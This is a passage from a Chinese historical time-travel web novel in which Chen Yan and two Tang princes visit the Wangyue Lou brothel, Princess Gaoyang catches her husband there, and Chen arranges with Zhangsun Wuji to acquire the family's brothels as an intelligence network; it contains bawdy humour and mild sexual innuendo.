“在渭南县的时候,带我看的还是些普通货色,有你们这么干的吗?” “呵呵哒!”陈衍嗤笑,“你从前整天寻思着争家产呢,谁带你?” “再说了,承乾兄有媳妇帮忙出来,你有吗?” “你家语儿,能掩护你出来吗?” “你屁都没有,还好意思说我们!” 李泰:“......” “算啦算啦~”李承乾懒洋洋道:“陈兄,你要理解四弟嘛,毕竟他从前确实没吃过什么好的,可以理解。” “其实我也觉得有些无趣,要不直接上项目吧!” 此话一出,陈衍眼睛登时亮了,“好,那就上项目!” 他扭头对身后两个姑娘说,“赶紧,叫你们最好的技师上来,给我那没见过世面的兄弟知道知道什么才叫享受。” 其中一名粉裙姑娘轻笑着点头,“既然是陈公子的要求,那我们望月楼自然满足。” “请三位尊贵的客人稍等,马上各位安排。” “快去!”李承乾大手一挥,“给我们仨服务好了,赏钱少不了你们的。” 几位姑娘闻言颇为诧异,但没说什么,纷纷退了下去。 从前这位李公子来的时候,可都是靠着其他几位付钱的,分逼不出,主打一个白嫖,今日看起来倒是豪气多了。 “不是......你们说的什么项目啊,能不能细说一下?” 李泰实在好奇得很,忍不住询问。 “等等吧,等等你就知道啦!” 陈衍漫不经心道。 李承乾同样没有回答李泰的意思,只是神秘一笑,让他稍安勿躁。 见此情景,李泰只好压下心里的好奇心,耐心等待。 得亏望月楼办事效率高,没过多久便有好几位姑娘带着东西过来。 最先吸引李泰的便是三把大躺椅,只是跟陈衍平时躺的那种好像有点不同,少了头部的支撑。 李泰还在疑惑这躺椅为什么不太一样,然而接下来三位姑娘站了出来,端了三张高些的凳子坐在后面,大腿恰好成为了躺椅缺少的那部分头部支撑。 陈衍和李承乾轻车熟路地躺了上去,给李泰看了两眼懵逼。 “卧槽!还能这样?!” “这位公子,别卧槽了,来吧~” 剩下那位貌美的姑娘已经准备好,对着他招了招手。 李泰登时将一切抛到九霄云外,学着两人的样子躺了上去。 怎么形容呢? 软! 香! 怎一个舒坦了得? 只是,让李泰没想到的是,所谓的项目还不止于此! 接下来,三位提着精美手提箱,穿着修身旗袍,将身材展现得淋漓尽致的秀美女子走进来,上来就对三人欠身鞠躬,隐隐能看到半月雪白。 “三位公子万安,奴家是一号技师月清......二号芸儿......三号紫烟。” 陈衍抬手虚按,“都是老朋友了,赶紧开始吧,一看到你们,我就觉得浑身不得劲儿。” “对对对!”李承乾深以为然。 也不知是不是心理问题,他同样有这样的感受! 一见到技师就觉得浑身哪哪不得劲儿。 “陈公子,李公子,奴家可是许久未曾见到您二位了,还以为你们把奴家忘了呢......” “这位公子倒是面生,以后可不要像陈公子那般无情,两年不联系......” 三位姑娘一边笑意盈盈地找着话题,一边轻车熟路地替三人脱鞋,把他们的脚放进方才丫鬟端来的三盆热牛奶里。 “啊~” 李泰哪里见过这场面?发出一道销魂的声音,整个人已经瘫软了。 死了二十多年,他头一次感觉自己还活着。 家人们谁能懂这种感觉啊? 在降温的天气里,躺在姑娘的腿上,享受着按着头部,下面三个长相貌美,穿着引人犯罪的衣服的技师,轻轻地帮你洗脚按摩,温声细语地找着话题,费尽心思给你提供情绪价值,外面一群画着淡淡妆容,衣着飘然的姑娘还在起舞。 “卧......槽~” 李泰不是没有文化,但他觉得,此情此景,此时此刻,除了一句卧槽,其他任何形容词都是苍白无力的。 “望月楼......望月楼好啊,望月楼得来啊!” 紫烟眼波流转,嘴角挂着淡淡的笑容,“公子有所不知,从前望月楼其实是没有这种项目的,是陈公子来了以后,专门提议我们做这个。” “现如今,洗脚已经变成了望月楼的招牌了呢~” 听闻此话,李泰还能说什么?只能朝陈衍竖起一个大拇指。 “陈兄,我墙都不服,就服你,你他娘是懂享受的!” “我李泰这辈子没求过人,今天就求你一件事,你们以后来的时候千万要带上我,让你没见过世面的兄弟也享受享受。” 陈衍扯了扯嘴角,懒得搭理这个小胖子了,懒洋洋地说:“月清啊,不知你们这望月楼......卖不卖?” “......” 第498章 欲买桂花同载酒 “买望月楼?” 月清手上的动作一顿,赶忙看了看周围,有些惊疑不定,“陈公子,以后这种话莫要再说了,望月楼的背景很不凡,您想买的话,怕是......” 她的话没有说全,但只要是个人都能明白她的意思。 李承乾轻嗤一声,摇摇头,没说什么。 虽然不知道陈衍为什么要买望月楼,但他并不觉得若陈衍真的想买的话,会买不下。 另一边,李泰眼都没睁,懒洋洋道:“来个人去叫老鸨过来,今天这栋楼我买了,送给陈兄!” “你也别管望月楼有什么背景,反正见到我们都得跪!” 紫烟眨眨眼,霎时抬起头,“那若是长孙家呢?” “长孙家算个......长孙家?”李泰下意识脱口而出的话瞬间止住,豁然起身,“你说啥?哪个长孙家?” “公子说笑了,长安城还有几个长孙家算得上背景不凡呢?”紫烟是个胆大的姑娘,什么都敢说,压低声音道:“不瞒公子说,就是当今皇后那个长孙家,啧啧......从前很多人都打过望月楼的心思,后来啊,都没了消息。” “所以我劝您,还是别提这事儿了,碰不得!” 本以为实话说出来,眼前的三人会退缩,没曾想李泰眼睛登时就红了,李承乾更是破口大骂: “特么的长孙冲,难怪我从前老看他在望月楼一掷千金,一次点特么十来个姑娘,一点不心疼钱。起初我还以为他是因为家里给的钱多,没想到这特么是他家的产业!” “他家的产业,我来玩竟然还收我钱?!” “太踏马不像话了!”李泰亦是愤愤不平,“有这样的好地方,你们以前不带我还能说得过去,这是他家的产业,竟然也不带我!” “排挤我是吧?” 听着两人的对话,在场六位姑娘一个个胆战心惊,敢这样骂长孙冲,一口一个特么的,能是什么普通人? 他们从前只知道那位陈公子,以及经常一起来的几位公子身份很高,上面曾严令禁止打听这几人的身份,特别是那位李公子。 只是没想到,这些人的身份,好像要比她们想象中更高。 几人抿了抿唇,不敢说话了。 李承乾两兄弟义愤填膺的时候,陈衍却有些失望,已经在考虑要不要买下望月楼了。 说真的,类似望月楼这样的场所,真的太容易打探消息了。 如果能收入囊中,加上他已经逐渐占领长安的酒楼、茶楼,以及酒肆,今后有什么消息岂不是很容易打探到? 其中,他最看重的还是望月楼这样的风月场所。 然而,让他没想到的是,望月楼的消息好像没有他想象中灵通。 搞不清李承乾和李泰的想法就算了,他虽然有简单隐藏过身份,但在这里混了那么久,这些人竟然还不知道自己的身份,不清楚自己如今的地位。 着实令他失望。 “陈兄,我觉得此事可行!”李承乾一本正经道:“长孙冲不讲义气,自家的产业居然还收我们钱!不如把望月楼买下来,今后咱们想来就来,想怎么玩就怎么玩,想喝多久就喝多久,岂不美哉?” “更何况,堂堂皇亲国戚,在长安堂而皇之地开风月场所,实在有辱斯文!” “不能让舅舅继续错下去了,这望月楼,他把握不住,还得是你来!” “大哥言之有理!”李泰仰天长叹,痛心疾首,“倘若阿娘知道舅舅开望月楼,带坏我们这一代人,不知道有多伤心,必须制止!” “不!不对,是要严厉制止!” 陈衍:“......” 此时,在场的几位姑娘彻底不淡定了,手都在颤抖。 这都是些什么人物啊? 叫皇后娘娘的亲兄长叫舅舅? 六位姑娘一想到这种关系的结果,浑身一颤,埋头不敢打扰他们说话。 “陈兄,你认为呢?”李承乾郑重问。 陈衍额头浮现出两条黑线,“我认为?我他娘还需要认为什么?你们舅舅是皇亲国戚,我就不是啦?” “我开望月楼就不有辱斯文了?” “边儿去!” 月清头埋得更低了,眼前这位陈公子,连皇子都敢呵斥,她都不敢想对方到底什么背景。 想起方才自己说让对方莫要动买望月楼的心思,脸颊一阵发红。 “不是,陈兄,刚刚不是你说要买的吗?” 李泰急了。 享受了一次之后,他感觉自己再也离不开技师了。 买下来多方便啊? “买买买,你们就知道买!”陈衍白了他一眼,“毕竟是长孙家,总得上门跟人家谈谈吧?” “要不然硬是买下来,岂不是得罪人嘛。” 李承乾眼角扯了扯,露出一丝笑意,“子安兄,如果我没记错的话,我舅舅就是因为你遭了罪,被母后严厉警告了一番,当了好久的木头人,直到最近才渐渐重拾朝政。” “你去谈......能行吗?” “我......”陈衍很想反驳,但又不知道该怎么反驳,人家说得好像确实没错啊,长孙无忌沉寂确实是因为自己。 他郁闷道:“我试试吧,上次我跟你们舅舅坐下来好好聊过一次,聊得挺高兴的,一座楼而已,对方应该会给我个面子。” 听闻此话,李泰和李承乾对视一眼,重重点头。 他们心里打定主意,如果陈衍拿不下,那就他们自己出马。 望月楼......不容有失! “唉~”陈衍望着下面载歌载舞的场景,脑子里不自觉想起了家里的高阳和李丽质。 不知道她们有没有将家里收拾好,高阳有没有照顾好孩子,有没有累着...... 恍惚间,陈衍突然明白自己为什么明明重临故地,却再也没有了从前的感觉。 两年以来,他从一位少年锐变成了一位父亲,一位丈夫,身上少了份少年气,多了份男人应有的责任感。 连在享受从前最喜欢的按脚服务时,脑子想的都是妻女,以及该怎么用望月楼获利。 陈衍捏起旁边的酒壶,自顾自给自己倒了杯酒。装满酒水的杯中,倒映着他已经成熟的脸庞。 “欲买桂花同载酒.....终不似,少年游啊!” “......” 第499章 抓包 渭国公府,高阳好不容易喂饱孩子,小心翼翼地把孩子放在床上,期间生怕自己动静过大,导致吵醒孩子。 不知过去了多久,她总算完成了这一步骤,小岁安睡了下去。 高阳松了口气,擦了擦额头的汗,轻手轻脚地走出去。 “公主殿下!” “嗯。”高阳拍了拍手,吩咐道:“你就在这里候着吧,照顾好小郡主,我出去看看。” “是,公主殿下。”香岚闻言立即答应下来。 “哎,可累死我了。” 高阳揉了揉酸痛的手臂,走出屋。 外面,李丽质和越王妃还在安排下人搬东西,他们一家的东西实在太多,一下子根本弄不完。 更别说还要进行一次大清洗。 今天有得忙了。 高阳四处看了看,除了李丽质她们,就剩兕子几个小孩跑来跑去的,正在玩耍。 “姐姐,陈衍呢?怎么又没见人。” “啊?”李丽质回头,随口道:“夫君跟四皇兄以及太子出去了,应该是出去喝酒了。” “跟太子?”高阳一听,瞬间警惕了起来。 如果说陈衍是跟杜构出去的,那她相信是去喝酒的。 还是那句话,大唐的男人没有不爱喝酒的,陈衍这段时间虽然喝醉过几次,她也抱怨过,但实际上从未阻止过陈衍喝酒。 但问题是,陈衍跟李承乾出去......真的只是单纯地喝酒吗? 如果确实是单纯地喝酒,那为什么不在家里喝? 李承乾可是太子,出去喝酒万一出意外怎么办? 如果不是单纯地喝酒...... 高阳记得很清楚,当年陈衍跟李承乾,可是平康坊的常客! 一想到这里,她坐不住了,立刻把还在忙碌的青儿叫过来。 “你跟我走一趟,找你家少爷去!” “啊......好,好的,公主殿下。”青儿愣了一下,似乎也明白了什么,闷闷地答应下来。 “高阳妹妹,你......” 李丽质欲询问怎么回事,却没想到高阳头也不回地带着青儿离开了,迷茫地眨眨眼,索性不管了。 “公主殿下......我们要去哪里?” 青儿试探性地问。 “去哪里?”高阳停下脚步,转身盯着她,“去哪里,你应该明白才是,毕竟你是跟随陈衍最久的人,我相信你知道他在哪,对吧?” “奴婢......奴婢......”青儿欲哭无泪,很想说自己并不知道,但在高阳公主愈发危险的目光下,只能老老实实地点点头。 “很好!”高阳满意道:“既然你知道他在哪,那就赶紧带路吧!” “如果我们去得及时,没有发生什么不好的事,那么皆大欢喜,如果我们去晚了,导致发生了不好的事......我相信你也不愿意看到那一幕的。” 言语中暗藏的意思,青儿哪里不明白? 她很想说自家少爷不是那种人,但想想还有李承乾和李泰跟着去,她又不太确定了。 正好渭南伯府外还有很多马车,两人随手征用了一辆,在高阳强烈的要求下,快马加鞭地赶往平康坊。 有青儿的指路,她们很快就到了从前陈衍他们经常光顾的地方,也就是望月楼。 掀开车帘,看了眼望月楼前打扮得花枝招展的姑娘,高阳冷笑一声,“真是好啊,姐姐在辛苦地收拾家里,我尽心尽力地照顾孩子,这个王八蛋竟然连一天都不愿意等,一回长安就来这种地方!” 青儿弱弱道:“公主殿下,万一,奴婢是说万一,少爷没来这里,确实跟太子殿下喝酒去了呢?” “是不是,进去看看就知道了!” 高阳雷厉风行,带着青儿下车,吩咐车夫找地方等着,然后直奔望月楼。 “咦,表妹,你怎么也来这里了?” 这时,不远处突然传来一道惊疑声。 高阳侧头望去,冷哼一声,“果然是一丘之貉,你也不是什么好东西,上一边去,别耽误老娘的事儿!” 长孙冲眼角抽搐,讪讪一笑,没把高阳的话放在心上。 明眼人都看得出来,高阳的心情不大好,何必去招惹她呢? 再一个,长孙冲对高阳还算有些了解,知道这位公主连太子和李泰都不愿意招惹。 高阳闷头气势汹汹地往里冲,却直接被外面的老鸨拦了下来。 “这位姑娘,里面的地方不太适合您这样的姑娘去。”老鸨脸上挂着牵强的笑。 在望月楼干得久了,她什么事没经历过? 这种一看就是来抓人的姑娘,她没见过一百也有八十了。 更何况,她确实不认识高阳,但她认识高阳身边的青儿啊。 那可是他们望月楼大恩人、大顾客的身边侍女,她见过好多次呢。 如果没遇见,她或许就当作不知道了,既然遇见,老鸨自然得尝试着拦一下。 “怎么?大唐哪条律法规定女子不能来你们望月楼?” 高阳冷着脸,“我今天就要进,你能拿我怎么办?” 老鸨愣了愣,没曾想眼前这位女子态度这么强硬,刚想好声好气地解释两句,另一边的长孙冲走过来。 “算了吧,让她进去,你别管那么多了。” 说完,长孙冲和气道:“表妹,你想进就进,不过劳烦给我点面子,不要闹出太大的乱子。” 高阳认认真真地看了长孙冲一眼,轻嗤:“给你面子?这么说这望月楼跟你关系不一般咯?” “算了,我懒得管你。” 言罢,她带着青儿径直走了进去。 “公子......这......” 眼看那名女子敢对长孙冲甩脸色,而且丝毫不给长孙冲面子,老鸨心里一惊。 “你别管了,这事儿不是你能插手的。” 长孙冲也不恼,甚至还有些幸灾乐祸。 连老鸨都看得出来高阳来干嘛的,他又怎么会看不出来? 不过他们一家对陈衍的态度都很复杂,从前没机会就算了,现在有机会,那当然要给高阳行个方便。 无伤大雅地出口恶气啦! 一想到陈衍被高阳抓包,他就忍不住乐,心情莫名就好了。 “走,跟本公子上去看看,我感觉今天有大热闹!” “......” 第500章 每天一个拿捏高阳的小妙招 三楼,陈衍突然抬起头,“你们有没有听到什么声音?” 声音? 李承乾和李泰一怔,仔细听了一下,纷纷摇头。 “子安兄,你应该是听错了吧?哪里有什么声音?不就只有下面奏乐的声音吗?”李承乾没太当回事,随口说道。 “就是。”李泰幸福地眯着眼,“除了下面的奏乐声,以及姑娘们舞动的声音,我只听到了我的心动声,除此之外再无其他了。” 陈衍:“......” 得,这两货一点都靠不住。 竖起耳朵认真听了一下,陈衍不解地挠挠头。 刚刚他确实听到了一些动静,而且感觉相当熟悉,但现在又听不到了...... “咚!” 忽然,那熟悉的声音再度响起,陈衍瞪大双眼,“你们听到了吗?就是这种声音,你们听到了吧?” 李承乾和李泰有些狐疑地睁开眼,别说,他们确实听到了一些奇怪的声音,就是不知道干嘛的。 正当三人疑惑的时候,外面的门‘砰’的一声被大力踹开! 在场的人全被这突如其来的动静整懵逼了。 还没反应过来,就见高阳气势汹汹地冲进来,后面还跟着一个耷拉着脑袋的青儿。 三人瞬间人都傻了。 怎么特么是高阳? “呵呵......夫君,你......”高阳皮笑肉不笑地四处看了看,最终定格在他躺在姑娘的腿上,“挺会享受的嘛!” “......棠儿啊,你怎么来了?”陈衍头皮发麻,下意识吞了口唾沫,心里止不住地慌了起来。 像极了被妻子抓包的丈夫。 不! 不对! 他特么现在就是啊! 月清脸色古怪,也不敢再给陈衍按摩了,悄咪咪地起身,往后退去。 知道眼前这几人身份极其尊贵,她就明白,能嫁给陈衍,这女子身份大概率同样高,反正肯定不是她能惹得起就是了。 就现在这个情况,还是当个小透明吧。 “我若不来,怎么知道你在我跟姐姐忙碌的时候,有多享受啊?” 高阳并未第一时间发作,款款走过来,伸头往他们脚下的桶里瞅了眼,“哟,这是牛奶吧?没有一点膻味,真不愧是渭国公啊!” “嗯......还有太子殿下,魏王殿下!” 李承乾和李泰对视一眼,四十五度仰天,眼观鼻,鼻观心,屁都不敢放一个。 陈衍自知今天的事情绝对没那么容易过去,用普通的办法绝对行不通,赶忙起身,凑到高阳耳边小声解释了一句今天的主要目的是来买望月楼,以及买望月楼的用意。 高阳面无表情地听完,没表示什么,只是淡淡问了一句,“买望月楼,用得着......” 她下巴轻抬,点了点月清,以及他方才躺的那个女子。 “那样吗?” 陈衍嘴角一抽,拉了拉高阳,“你跟我过来。” 高阳不动。 陈衍手上的动作用力了几分,语气中带着一丝呵斥:“过来!” 她这才动了起来,但心里还是有几分生气的。 明明从前嫁给他之前,答应过再也不来这种地方了,结果不仅来了,还是在她们照顾孩子和收拾家里的时候。 言而无信! 在李承乾等人的目光中,陈衍带着高阳走到旁边休息的屋子里。 高阳抱着双手,冷着脸,想看看这个男人还有什么狡辩的。 却不曾想,陈衍一句话没说,缓缓来到她身后,伸手抱住她。。 紧接着,高阳瞳孔骤然一缩,一种陌生的疼痛感传遍全身。 “我真的是来办正事的,你别闹,好不好?”陈衍轻声说。 高阳闭了闭眼,声音颤抖,“我......不相信!” “啊!” 她惊呼一声,猛地睁开眼,那种疼痛感陡然加重,一股无法言喻感觉充斥全身。 眼里的理智渐渐被一抹红光取代,全身上下每一处都在欢呼、雀跃! 然而,还没来得及细细品味这种感觉,她发现陈衍竟然在松手! 他竟然在松手!!! “不,不要!” “求你别松开!!” 她慌忙地按住陈衍的手,用力之大,似是要生生按进心里! 陈衍汗颜。 他想过会有效果,没想到效果这么大! 高阳呼吸逐渐急促,心里涌现出一种无法用言语形容的满足感! ——原来还能这样!原来还可以这样!! ——以前的我果然还是太天真了,以为打两下就是最好的,没想到还有更好的方式! 她目光下移,望向陈衍另外一只手,眼底的渴望几乎要溢出来。 但陈衍似乎并不想继续下去,渐渐松开了手,“别闹,回家再说!” 高阳有些失望,但一想到这里离家不算太远,也没再强求。 “行了,别生气了,我真是来干正事的,只是这家望月楼好像是长孙家的,得找人说说才行。” 一边说着,陈衍一边从她身上拿出一块手帕,慢慢替她擦干净,又帮她整理好衣领。 高阳哼哼着没说话。 不过她想起进来之前遇到了长孙冲,低声道:“应该是长孙家的,我进来的时候遇到他了,你不是要买下望月楼吗?他可能也来了,你可以找他说说!” “是吗?” 陈衍没太当回事,望月楼的收益并不低,相反还很高。 再一个,这里的高质量姑娘太多,光是这些姑娘的价值就不是长孙冲能决定的,找他有什么用? “好了!” 他整理完高阳的衣服,说:“这里按脚很不错,下次买回来,我带你来试试,累了的话放松一下挺好的,你照顾孩子辛苦了。” “咱们先回家吧!” 听到这话,高阳心里那点气一下子消了,不满地嘀咕几句。 可恶,又被这个男人拿捏住了。 “你们先按着,我还有点事,先回去了哈~” 带着高阳出去,顺手跟李承乾他们打了声招呼,陈衍便带着乖巧的高阳和青儿离开了。 李承乾和李泰满脸难以置信! 不是? 这就好了! 你特么到底干了啥啊? 高阳为什么一下子就那么乖了? 求你了兄弟,开课吧! “......” 第501章 长安,又该起风了! 长孙冲本以为今天能看一出好戏,兴冲冲地跟了高阳半天,眼看着她一层一层地踹门进去。 直到踹到三楼,总算见到了陈衍。 当时长孙冲就激动了,耳朵竖起,脖子伸出了二里地,想看看接下来的乐子。 然而,让他失望的是,高阳反手把门一关,然后没过多久,方才还一副怼天怼地怼空气的高阳公主,跟个乖宝宝一样,微微低着头跟在陈衍身后走出来。 长孙冲当即傻眼了。 那个跟刚出洞房小媳妇似的女子,是特么高阳? “咦,长孙冲,你怎么也在这呢?”陈衍微微扬眉,故作惊讶。 “啊.....啊啊!”长孙冲愣愣地点头,直到现在依然不太敢相信后面那个人,是在下面丝毫不给他面子的高阳公主。 “那行吧,长孙兄你先玩着。如果觉得没意思,你还有两个亲戚在里面,他们此前还跟我说许久未见到你,想好好跟你叙叙旧呢。” 陈衍微笑道:“刚好,你也趁着这个机会好好玩玩,说不定今后就不能这么愉快地来了。” “就这样吧,我家中有些急事,先失陪了。” 说完,他礼貌地示意一下,带着高阳和青儿离开了。 长孙冲有些摸不着头脑,什么叫趁着这个机会好好玩玩,以后就不能这么愉快地来了? 他家里的产业,咋不能愉快地来? 想了一会儿,没想通,长孙冲索性不想了,又回想起陈衍那句里面有他两个亲戚,好奇地敲门进去。 “......呃,太......” “太什么太!”李承乾两眼放光,“表弟,你来得正好啊!” “......” 甘露殿,李世民端坐于案几前,手里捧着一本奏折,思绪却已经飘远。 算算日子,那小子跟杜构他们,应该从渭南县回来了吧? 也不知道什么时候进宫一趟,朕挺久没见兕子、城阳、小岁安她们了。 说起来,那小子要举办及冠宴了......嗯,也好,正式在长安朝堂任职,确实该办及冠宴了。 朕要不要腾出些时间,跟观音婢过去一趟? 想着想着,他放下了奏折,陷入了沉思。 “陛下!” 无舌弯着腰走进来,手里捧着一封密报:“渭国公与公主殿下他们已经返回长安,魏王殿下也被渭国公带回来了。” “只是......” 听到前面,李世民眼睛顿时一亮,他期待着这小子回长安已经很久了,然而听到无舌后面那个只是,他眉头一挑,“只是什么?” “算了,呈上来,朕自己看!” 他不耐烦地挥挥手,取下无舌递过来的密报,打开看起来。 当他的目光放在陈衍回程途中被马匪截杀时,心里一紧,随即脸色变得十分精彩。 “马匪......截杀?” 李世民有些不敢相信,就渭南县到长安的路程,陈衍被马匪截杀? 闹呢? 他急忙往下看,当看到陈衍一行人在金吾卫的护送下安全返回长安,露出了若有所思的神色。 陈衍身边跟着那么多位公主,还有魏王李泰,身边的保护力量自然不弱,一些上不得台面的马匪,自然不可能对他们造成什么危险。 就是这马匪出现的时机.....确实是巧了些。 李世民手指轻点桌面,沉吟道:“让李道宗顺着那几个活口查查,看看这些马匪有没有受人指使,又或者受到暗中引导。” “是,陛下!” 待无舌离开,李世民放下手中的密报,呵呵冷笑一声,起身走出殿外,负手而立,遥望远方,眼神平淡如水,不知道在想些什么。 不知过去了多久,一名女官款款走来,恭敬道:“陛下,皇后殿下请您过去用午膳。” “嗯,朕这就过去。” 李世民收回目光,背着手一路来到长孙皇后的寝宫。 自从陈衍经常送来膳食给长孙皇后吃,他为了跟着解馋,养成了共同用膳的习惯。 哪怕现在宫里已经有厨子能做出跟陈衍家一样的味道,但他依然保持着这个习惯。 一家人每天在一起吃饭,聊聊趣事,这样的氛围让他很是享受。 “陛下,今天尚食局做了道新菜,叫做红烧狮子头,您尝尝!” 李世民刚来,长孙皇后便拉着他坐下,指着桌上一个瓷盘,语气带着几分新鲜。 “狮子?朕记得西域好像进贡过这种猛兽,只是从前都用来当做观赏,倒是未曾尝过是何味道。”李世民还以为红烧狮子头真就是狮子头,一时间有些惊讶。 “陛下误会了,这狮子头实际上就是大一些的肉丸子,不过子安取了这么个名字,宫里的御厨便也跟着这样叫了。” “那这算什么狮子头?” 李世民满头黑线,白期待了一场。 他揉了揉旁边李治的脑袋,夹起一个红烧狮子头尝了尝,随后点点头,“虽然名字取得不怎么样,但味道确实不错。” “对了,忘了跟你说,那小子已经回长安了,青雀同样被带回来了。” “回来了?”长孙皇后心里一阵欢喜。 陈衍回长安,就代表兕子她们也回来了,而且这次回来便不用再去渭南县,从今以后自己可以经常见到女儿了。 “嗯,回来了。”李世民啧啧道:“说起来,他们回来还发生了一件趣事,在路途中遭遇了马匪截杀,而且那些马匪似乎还知道子安的身份。” 长孙皇后一惊,目光逐渐沉了下来。 对子安的身份有所了解,却依然在子安回程的时候对他进行截杀,是单纯的蠢,还是早有预谋? 在宫里生活久了,肮脏的事情见得太多,她从不介意用最大的恶意去揣测别人。 “陛下觉得此事有蹊跷?”长孙皇后试探性地问。 李世民放下筷子,轻叹一声,“有没有蹊跷,现在说不好,看密报,子安似乎试探过那些马匪,从表面上看,就是一群愚蠢的马匪,背后有没有人,朕不知道。” “但朕知道,不管有没有人,实际上都不重要了,子安已经返回长安,一切已成定局。” “过了一年比较消停的日子,朕甚至有点不习惯,这小子一回来啊......长安,又该起风了。” “......” 第502章 我一个变态都觉得你们变态 翌日,高阳彻底瘫软,躺在床上一动也不想动。 昨天陈衍狠狠地满足了她的小癖好,长久以来因为李丽质在旁边,从而得不到彻底释放,积压下来的郁闷情绪消散一空,现在的她像是飞上云端般满足。 只有李丽质,看了看旁若无人穿衣的陈衍,又看了看一脸舒坦的高阳,眼里的古怪几乎要溢出来。 原本她以为自己已经很变态了,就喜欢高阳在旁边看着听着,没想到高阳比她还变态! 李丽质真的很想问问,难道不疼吗? 她不李姐! “丽质,你别发呆了,赶紧起床,今天备上一份礼物,咱们看你舅舅去。”陈衍穿戴好衣服,随口说了一句。 李丽质抽了口气,抱着膝盖,闷闷地点点头。 从前她一直因为自己的特殊爱好有些自卑,事后老是不愿意面对高阳,现在她才忽然惊觉,原来自己只是个小白羊! 跟这俩比起来,她好像个正常人! “阿兄,你今天要跟阿姐出去吗?” 饭桌上,兕子仰着小脑袋问。 “对呀,今天我跟你阿姐要出去,你要跟我出去玩吗?”陈衍习惯性地捏了捏她的小脸。 乖巧的兕子是真可爱。 “真哒?” 小公主眼睛登时亮了,“你要带我出去玩?” 两人的对话,吸引了乖巧吃饭的城阳公主,向他们投来了跃跃欲试的目光。 陈衍见状当即说:“我跟你阿姐要去你们舅舅家做客,如果你们想去的话,可以跟我们一起去。等阿兄跟你们舅舅商量完事儿,顺便带你们在长安城好好玩玩,怎么样?” 他想起自己好像从未跟李丽质出去好好玩过,不如趁着现在还未上任放松放松,跟李丽质相处一下。 两个小丫头听到他的话,瞬间心花怒放,一个劲地点头。 在渭南县的时候,她们让侍女带着她们出去玩,但总觉得没有跟陈衍在一起有意思。 不过,饭桌上的人都没发现,在陈衍说要去找长孙无忌的时候,李泰的小眼睛简直在冒星星! 说买就买,陈兄是真不糊弄人啊! “你干什么呢?赶紧吃饭!” 魏王妃没好气地瞪了他一眼,昨天李泰他们去逛青楼,她已经知道了,但又不好说什么,只能独自生闷气。 要说李泰找个好姑娘,娶小妾也就算了,她也阻止不了。 偏偏李泰跑去逛青楼! 怎么滴? 她难道还不如青楼女子吗? “好好好,吃饭,吃饭!” 李泰不敢多言,给陈衍投去一个意味深长的眼神。 众人吃完早饭,并未着急前往长孙家,因为此时长孙无忌大概率还在上朝,或者刚下朝,现在登门拜访并不合适。 等了一个多时辰,眼看时间差不多了,李丽质带着两名提着礼物的丫鬟找到他。 “夫君,已经按照你的吩咐准备好礼品了,我们现在就去吗?” “既然准备好了,那就走吧!”陈衍笑笑,招呼两个小丫头,一行人乘坐马车前往长孙家。 此时,长孙无忌下朝已经有段时间了,在书房内看了会儿书,感觉有些无聊,便打算一个人出去走走,感受一下街边的烟火气。 却突然接到下人禀报,陈衍携李丽质前来拜访。 长孙无忌颇为惊讶,随后哑然失笑,“这小子倒是说话算话,刚回长安就带着丽质来拜访了。” 他背着手,悠哉悠哉地前往会客厅,看起来心情不错。 一进门,长孙无忌便笑着说:“几个月前,你说有空带丽质前来做客,我本以为你说的是客套话,没曾想你回长安第二天就来了,倒是让我有些意外啊。” 陈衍夫妻俩起身礼貌叫了一声,长孙无忌摆摆手,“早就说了,一家人不必如此见外,随意就好。” “那就恭敬不如从命了。” 这种话长孙无忌已经说了好多次了,陈衍明白他应该不是在客套,顿时随意了许多。 几人闲聊了片刻,说起了在渭南县的趣事,以及一些有意思的东西,气氛显得颇为愉快。 半晌后,长孙无忌端起茶杯,轻轻抿了口茶,“你今天来找我,应该不是专门来拜访我的吧?” “确实如齐国公所言,今日前来,是有事所求。”陈衍大大方方地说了出来,没有隐藏什么: “近日,我看中了平康坊的望月楼,想花钱买下来,但里面的人支支吾吾地不肯卖,我猜测背后应该有人,后来一打听,才知道是长孙家的产业。” “所以,我想问问齐国公能否割爱,我愿意出高价买下望月楼,绝不会让你吃了亏!” “望月楼?”长孙无忌一愣,仔细想了想,堂兄长孙敞名下好像确实有个叫望月楼的产业。 想到这里,长孙无忌认真看了眼陈衍,沉默道:“这应该是你为了铺垫后面,随口提出来的小事吧?别告诉我,你带着......丽质专门过来,就是为了找我买一座青楼。” 说到后面,他表情那叫一个一言难尽。 你特么的带着我外甥女上门找我买青楼? 咋寻思的啊? 这么直白,演都不演吗? “呃......”陈衍尴尬地咳嗽一声,主要是李丽质的眼神也变得不善了起来。 她还不知道陈衍来是为了买青楼。 “确实还有一些其他的情况想找你了解一下,但买望月楼同样是我的主要目的......不过别误会。”他急忙补充:“我不是为了找乐子什么的,毕竟我已经有两个美若天仙的妻子,犯不着专门买座青楼来玩,更别说花大价钱了。” “原来如此。”长孙无忌恍然大悟,而后大手一挥,“你有你的想法,我不多问,既然是用来办正事,那就送给你了,不用买!” “一座青楼而已,正好最近我想清理掉一批有辱门楣的产业,你想要就拿过去吧。” 陈衍自然不想平白无故接受这么大的利益,望月楼可不是一般青楼,而是最顶级的青楼,不谈收益,光里面那些美貌的姑娘,价值就不知几何了。 “嗯......如果齐国公家中还有类似望月楼这样的产业想脱手,我想我们可以用另外一种方式置换一下,我用我手中醉仙楼的一成收益,换取长孙家的全部青楼,如何?” “......” 第503章 快管管你家娘子 “置换?” 长孙无忌摸着下巴思考片刻,“这倒是一个有意思的词,你那个醉仙楼我知道,一直在进行稳步扩张,几乎成为了长安以及周边县城的第一酒楼,每天的盈利数额庞大。更难得的是别人模仿不来,未来前景相当好。” “虽然仅有一成,但长孙家绝对是不亏的,而且是正经的买卖,你真要和我置换?” “君子一言,快马一鞭!”陈衍毫不犹豫道:“既然话已经说出口,那我断没有反悔的道理。再者,我并不一定吃亏!” 他的话一说出来,长孙无忌欣然点头,只有李丽质暗自翻白眼。 我就问你,你陈衍全身上下哪一点算君子? 你是个菌子还差不多! 吃了让人中毒那种菌子! “好,那此事就这么决定下来吧,等过会儿我找人安排一下,明天我们派下面人处理就好。”长孙无忌也不是犹豫的人,立刻拍板决定下来。 “好,那就麻烦齐国公了。” 陈衍心里松了一口气。 关于此事,他昨天回去好好想过,或许长孙家只把望月楼当成一个玩乐场所,根本没有将它隐藏的作用挖掘出来。 如果掌握在自己手中,稍微教导一下望月楼的姑娘,给她们年老时一个保障...... 陈衍有预感,望月楼或许会给自己不小的惊喜。 就算没有,他同样可以花一点小心思改变一些经营的方式,相信也不差。 “对了,上次我跟你说王珪就要下来了,你还记得吗?”长孙无忌似是随口问了一句。 